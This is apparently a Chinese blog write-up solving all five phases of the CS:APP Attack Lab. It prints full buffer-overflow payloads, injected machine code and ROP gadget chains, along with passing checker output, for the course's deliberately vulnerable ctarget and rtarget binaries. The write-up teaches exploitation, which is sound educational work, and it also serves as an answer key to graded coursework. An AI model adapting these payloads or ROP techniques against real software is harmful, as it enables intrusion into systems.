Attack Lab 和 Bomb Lab 一樣同屬於《深入理解計算機》第三章。這兩個 Lab 側重點不一樣, Bomb Lab 側重於使用 GDB 進行調試和理解彙編代碼, Attack Lab 則側重於緩衝區溢出攻擊這一點(對應於書中 P194 開始的 3.10.3, 3.10.4 這兩節)。
知識點回顧緩衝區溢出應該剛開始學習 C 語言時最常見的問題了,根本原因是 C 語言不檢測數組是否越界,而後來學過的其他語言基本都支持越界檢測。結合本章剛剛學過的 C 語言數組對應的彙編代碼可知, C 語言中將數組當作指針,並沒有存儲數組長度的信息,所以無法支持越界檢測這一特性。針對緩衝區溢出攻擊 GCC 自動使用以下三種防範機制 P198:
•棧隨機化:棧的位置每次運行時都隨機變化,不會固定•棧破壞檢測:在棧幀中任意局部緩衝區與棧狀態之間存儲一個特殊的隨機值,在函數返回前會檢測該值是否被改變了,如果被改變則會異常終止。可以通過使用 -fno-stack-protector 選項阻止 GCC 進行棧破壞檢測•限制可執行代碼區域:棧可以被標記為可讀和可寫,但是不可執行,而檢查頁是否可執行由硬體來完成,效率上沒有損失
準備可以在 官網[1] 下載 Attack Lab 相關的程序。
開始前需要閱讀 Attack Lab writeup[2] ,因為 Lab 程序不是很具體,無法得知需要做什麼。
本次需要使用的程序依舊需要在 Docker 中運行,將本地 Lab 的目錄掛載進容器中即可:
docker run -ti -v {PWD}:/csapp ubuntu:18.04進入容器後需要安裝 gdb :
apt-get update && apt-get -y install gdb然後就可以愉快的開始闖關了。
闖關第一關第一關不需要注入代碼,只需要讓函數 test 在調用函數 getbuf 後返回到函數 touch1 開始繼續執行即可。
void test(){ int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val);}
void touch1(){ vlevel = 1; printf("Touch1!: You called touch1()\n"); validate(1); exit(0);}目標很明確也很簡單,所需要做的就是拿到函數 touch1 開始的地址,然後通過緩衝區溢出的方式將這個地址恰好放到 getbuf 返回地址所在的位置。
先使用 GDB 運行 ctarget: gdb ./ctarget
然後查看函數 touch1 的彙編代碼,可以得到需要將 getbuf 返回地址替換為 0x4017c0 。
(gdb) disas touch1Dump of assembler code for function touch1: 0x4017c0 <+0>: sub $0x8,%rsp 0x4017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel> 0x4017ce <+14>: mov $0x4030c5,%edi 0x4017d3 <+19>: callq 0x400cc0 <puts@plt> 0x4017d8 <+24>: mov $0x1,%edi 0x4017dd <+29>: callq 0x401c8d <validate> 0x4017e2 <+34>: mov $0x0,%edi 0x4017e7 <+39>: callq 0x400e40 <exit@plt>再查看函數 getbuf 的彙編代碼,可以知道棧中分配了 40 字節的空間,並且會通過函數 Gets 將輸入字符串從 %rsp 開始放置,即我們需要將 0x4017c0 寫入 %rsp + 40 對應的地址,而其他地址的數據無所謂,可以使用任意值。
(gdb) disas getbufDump of assembler code for function getbuf: 0x4017a8 <+0>: sub $0x28,%rsp 0x4017ac <+4>: mov %rsp,%rdi 0x4017af <+7>: callq 0x401a40 <Gets> 0x4017b4 <+12>: mov $0x1,%eax 0x4017b9 <+17>: add $0x28,%rsp 0x4017bd <+21>: retq綜上可得出一個合法的解,並將其存儲在 phase1.txt 中
•Attack Lab writeup[3] 中提示我們使用的是小端序程序,所以需要按字節反序傳給 hex2raw 程序,再傳給 ctarget (因為部分字節無法通過鍵盤輸入,所以需要通過轉換的方式傳給 ctarget )。
然後我們可以驗證該解的正確性:
> ./hex2raw -i phase1.txt | ./ctarget -qCookie: 0x59b997faType string:Touch1!: You called touch1()Valid solution for level 1 with target ctargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:69 64 65 61 6C 69 73 6D 2D 78 78 6D 00 00 00 00 00 00 00 00 6D 78 78 2D 6D 73 69 6C 61 65 64 69 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00第二關第二關需要注入一小段代碼,讓函數 test 在調用函數 getbuf 後返回到函數 touch2 開始繼續執行,並且需要將寄存器 %rdi 的值設置為 cookie 對應的值,本地是 cookie.txt 文件中的值 0x59b997fa 。
•限制僅能通過 ret 指令進行控制轉移,不能使用 jmp 和 call 等
void touch2(unsigned val){ vlevel = 2; if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0);}首先還是通過 (gdb) disas touch2 獲取函數開始的地址 0x4017ec
然後就是思考如何通過 ret 進行控制轉移, ret 指令會將棧頂的值出棧,並跳轉到該值所指向的地址,所以思路就很明確了。
在 getbuf 返回的時候跳轉到我們注入代碼的開始位置(為了方便及減少輸入字符串的長度,我們使用 getbuf 內部分配的 40 個字節。因為 ctarget 禁止了棧隨機化,所以此方法可行),注入代碼需要將寄存器 %rdi 的值設置為 0x59b997fa ,再將 0x4017ec 入棧,最後再執行 ret 。
對應的彙編代碼如下,將其保存在 phase2_code.s 中:
movq $0x59b997fa, %rdipushq $0x4017ecret現在需要將其轉換成對應的機器代碼:
# 將彙編代碼翻譯成機器代碼> gcc -c phase2_code.s# 反彙編代碼> objdump -d phase2_code.o
phase2_code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq可得需要注入的機器代碼如下:
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00此時我們需要找到 getbuf 內部分配的 40 個字節的起始地址,可以在 0x4017ac 處(getbuf 中分配好 40 個字節後第一條指令的地址)打上斷點,查看此時寄存器 %rsp 的值即可。
# 設置斷點(gdb) break * 0x4017acBreakpoint 1 at 0x4017ac: file buf.c, line 14.# 調試 ctarget(gdb) run -qStarting program: /csapp/attacklab/ctarget -qwarning: Error disabling address space randomization: Operation not permittedCookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:14# 查看寄存器 $rsp 中的值(gdb) print /x $rsp$1 = 0x5561dc78綜上可得出一個合法的解,並將其存儲在 phase2.txt 中
然後我們可以驗證該解的正確性:
> ./hex2raw -i phase2.txt | ./ctarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target ctargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 69 64 65 61 6C 69 73 6D 2D 78 78 6D 6D 78 78 2D 6D 73 69 6C 61 65 64 69 78 DC 61 55 00 00 00 00第三關第三關同樣需要注入一小段代碼,讓函數 test 在調用函數 getbuf 後返回到函數 touch3 開始繼續執行,並且需要將以寄存器 %rdi 開始的字符串設置為 cookie 對應的值的 16 進位,本地是 cookie.txt 文件中的值 0x59b997fa ,即該字符串需要為 59b997fa ,對應的字節數據為 35 39 62 39 39 37 66 61 00 (最後要加上字符 \0)。
•限制僅能通過 ret 指令進行控制轉移,不能使用 jmp 和 call 等
void touch3(char *sval){ vlevel = 3; if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0);}可以發現函數 touch3 會調用函數 hexmatch ,因此棧中的數據可能會被覆蓋,所以我們需要將字符串的數據存儲在 %rsp + 48 處,避免數據被覆蓋。
通過 (gdb) disas touch3 獲取函數開始的地址 0x4018fa 。
第二關中我們得出:%rsp = 0x5561dc78 ,那麼可得出字符串起始地址 %rsp + 48 = 0x5561dca8 。
那麼本關需要注入的代碼為:
movq $0x5561dca8, %rdipushq $0x4018faret可得需要注入的機器代碼如下:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00綜上可得出一個合法的解,並將其存儲在 phase3.txt 中
然後我們可以驗證該解的正確性:
> ./hex2raw -i phase3.txt | ./ctarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target ctargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 69 64 65 61 6C 69 73 6D 2D 78 78 6D 6D 78 78 2D 6D 73 69 6C 61 65 64 69 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00中場學習第四關和第五關要使用 rtarget 進行攻擊,而這個程序開啟了棧隨機化,並且限制棧不可執行,所以難度大大增加。
Attack Lab writeup[4] 提示我們可以使用 ROP (return-oriented programming) 技術來執行我們需要的指令, ROP 是在找到程序中以 ret 結尾的一段指令序列,這種指令序列稱作 gadget 。
例如存在如下函數:
void setval_210(unsigned *p){ *p = 3347663060U;}其對應的彙編代碼為:
0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq其中字節序列 48 89 c7 對應彙編指令 movq %rax, %rdi ,我們可以利用這樣的思路執行本不存在的指令。
由於我們通過緩衝區溢出的方式重寫了棧中的數據,而 pushq, popq, ret 都是通過棧進行相關處理的,所以我們可以將所需要的數據或者所需執行的 gadget 地址編排好放入棧中
Attack Lab writeup[5] 已經整理好了我們可能會需要的指令及其字節序列
第四關第四關需要使用 rtarget 進行第二關的操作,並有提示:
•使用 start_farm 和 mid_farm 中間的函數•只需要使用兩個這種操作即可通過•字節 90 對應的彙編代碼是 nop ,效果是 PC = PC + 1
我們先查看本關所需的函數的機器指令序列,運行 objdump -d rtarget --start-address 0x0000000000401994 --stop-address 0x00000000004019d0 | cut -d $'\t' -f2 | grep c3 -n3 可以獲得 start_farm ~ mid_farm 內的機器代碼片段,並高亮 c3
6-7-0000000000401994 <start_farm>:8-b8 01 00 00 009:c310-11-000000000040199a <getval_142>:12-b8 fb 78 90 9013:c314-15-00000000004019a0 <addval_273>:16:8d 87 48 89 c7 c317:c318-19-00000000004019a7 <addval_219>:20-8d 87 51 73 58 9021:c322-23-00000000004019ae <setval_237>:24-c7 07 48 89 c7 c725:c326-27-00000000004019b5 <setval_424>:28-c7 07 54 c2 58 9229:c330-31-00000000004019bc <setval_470>:32-c7 07 63 48 8d c733:c334-35:00000000004019c3 <setval_426>:36-c7 07 48 89 c7 9037:c338-39-00000000004019ca <getval_280>:40:b8 29 58 90 c341:c3從中我們檢查所有 c3 前的序列(忽略 c3 前的 90),發現可以產生如下指令(movl 指令是對應的 movq 指令的後綴):
函數可產生指令對應地址getval_142--addval_273movq %rax, %rdi0x4019a2addval_219popq %rax0x4019absetval_237--setval_424--setval_470--setval_426movq %rax, %rdi0x4019c5getval_280popq %rax0x4019cc可以發現我們只能使用兩個指令 movq %rax, %rdi 和 popq %rax 來將 cookie 對應的值 0x59b997fa 寫入 %rdi 中,那麼很明顯就是預先將 0x59b997fa 寫入棧中,然後通過 popq %rax 從棧中放到寄存器 %rax 中,然後通過 movq %rax, %rdi 將其移動到寄存器 %rdi 中。
所以我們需要依次將以下數據寫入到 getbuf 返回地址開始的位置中:
# 該 gadget 對應執行的指令為:popq %raxcc 19 40 00 00 00 00 00# 對應彈出的數據 0x59b997fafa 97 b9 59 00 00 00 00# 該 gadget 對應執行的指令為:movq %rax, %rdic5 19 40 00 00 00 00 00# 對應函數 touch2 的入口地址ec 17 40 00 00 00 00 00綜上可得出一個合法的解,並將其存儲在 phase4.txt 中
然後我們可以驗證該解的正確性:
> ./hex2raw -i phase4.txt | ./rtarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target rtargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:69 64 65 61 6C 69 73 6D 2D 78 78 6D 00 00 00 00 00 00 00 00 6D 78 78 2D 6D 73 69 6C 61 65 64 69 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00第五關第五關需要使用 rtarget 進行第三關的操作,即寄存器 %rdi 指向一個字符串的起始地址,該字符串必須為 59b997fa ,對應的字節數據為 35 39 62 39 39 37 66 61 00 (最後要加上字符 \0)。
我們首先整理出可以使用的指令(使用 start_farm 和 end_farm 中間的函數產生,忽略指令 nop, andb, orb, cmpb, testb ,這些指令無其他效果,僅會增加 PC):
函數可產生指令對應地址getval_142--addval_273movq %rax, %rdi0x4019a2addval_219popq %rax0x4019absetval_237--setval_424--setval_470--setval_426movq %rax, %rdi0x4019c5getval_280popq %rax0x4019ccadd_xylea (%rdi, %rsi, 1), %rax0x4019d6getval_481popq %rsp; movl %eax, %edx;0x4019dcsetval_296--addval_113--addval_490--getval_226--setval_384--addval_190movq %rsp, %rax0x401a06setval_276--addval_436movl %ecx, %esi0x401a13getval_345--addval_479--addval_187movl %ecx, %esi0x401a29setval_248--getval_159movl %edx, %ecx0x401a34addval_110movl %esp, %eax0x401a3caddval_487movl %eax, %edx0x401a42addval_201--getval_272--getval_155--setval_299--addval_404--getval_311movl %edx, %ecx0x401a69setval_167--setval_328--setval_450--addval_358movl %esp, %eax0x401a86addval_124--getval_169--setval_181--addval_184--getval_472--setval_350movl %rsp, %rax0x401aad去重整理後可得我們可以使用的指令如下:
指令對應地址movq %rax, %rdi0x4019c5popq %rax0x4019cclea (%rdi, %rsi, 1), %rax0x4019d6popq %rsp; movl %eax, %edx;0x4019dcmovq %rsp, %rax0x401a06movl %ecx, %esi0x401a13movl %edx, %ecx0x401a34movl %esp, %eax0x401a3cmovl %eax, %edx0x401a42movl %rsp, %rax0x401aad由於開了棧隨機化,所以無法使用絕對地址定位棧中的地址,我們需要通過相對地址確定字符串的起始地址,而我們又使用 ROP 進行攻擊,所以字符串需要放在末尾,計算這個地址可以使用 lea (%rdi, %rsi, 1), %rax 這個指令。
為此我們還需要先執行指令 movq %rax, %rdi 和 movl %ecx, %esi ,由於 movl 會將高 32 位置 0 ,所以我們將棧指針的地址存在寄存器 %rdi 中(可以通過執行 movq %rsp, %rax; movq %rax, %rdi; 實現),將地址偏移量存在寄存器 %ecx 中(可以通過 popq %rax; movl %eax, %edx; movl %edx, %ecx; movl %ecx, %esi; 實現)。
綜上可得一種合法的執行順序如下:
popq %raxmovl %eax, %edxmovl %edx, %ecxmovl %ecx, %esimovq %rsp, %raxmovq %rax, %rdilea (%rdi, %rsi, 1), %raxmovq %rax, %rdi# 先存放函數 touch3 的入口地址# fa 18 40 00 00 00 00 00# 這裡開始放字節數據:# 35 39 62 39 39 37 66 61 00從中可得:字節數據起始地址相對執行 movq %rsp, %rax 這行指令時 %rsp 的地址偏移量為 0x20
綜上可得出一個合法的解如下:
69 64 65 61 6c 69 73 6d2d 78 78 6d 00 00 00 0000 00 00 00 6d 78 78 2d6d 73 69 6c 61 65 64 6900 00 00 00 00 00 00 00cc 19 40 00 00 00 00 0020 00 00 00 00 00 00 0042 1a 40 00 00 00 00 0034 1a 40 00 00 00 00 0013 1a 40 00 00 00 00 0006 1a 40 00 00 00 00 00c5 19 40 00 00 00 00 00d6 19 40 00 00 00 00 00c5 19 40 00 00 00 00 00fa 18 40 00 00 00 00 0035 39 62 39 39 37 66 6100將其存入 phase5.txt 並驗證正確性:
> ./hex2raw -i phase5.txt | ./rtarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target rtargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:69 64 65 61 6C 69 73 6D 2D 78 78 6D 00 00 00 00 00 00 00 00 6D 78 78 2D 6D 73 69 6C 61 65 64 69 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00註:以上 5 張棧圖均按從左往右的順序存儲字節數據(書中是按照從右往左存儲,這裡偷懶不想再反序了)小結Attack Lab 總體上來說比 Bomb Lab 簡單一點,這個體力活佔得更多,因為總共就幾種方法,可以根據需要實現的效果和已有的指令輕易推導出來可以如何組織這些指令。
References[1] 官網: http://csapp.cs.cmu.edu/3e/labs.html
[2] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf
[3] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf
[4] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf
[5] Attack Lab writeup: http://csapp.cs.cmu.edu/3e/attacklab.pdf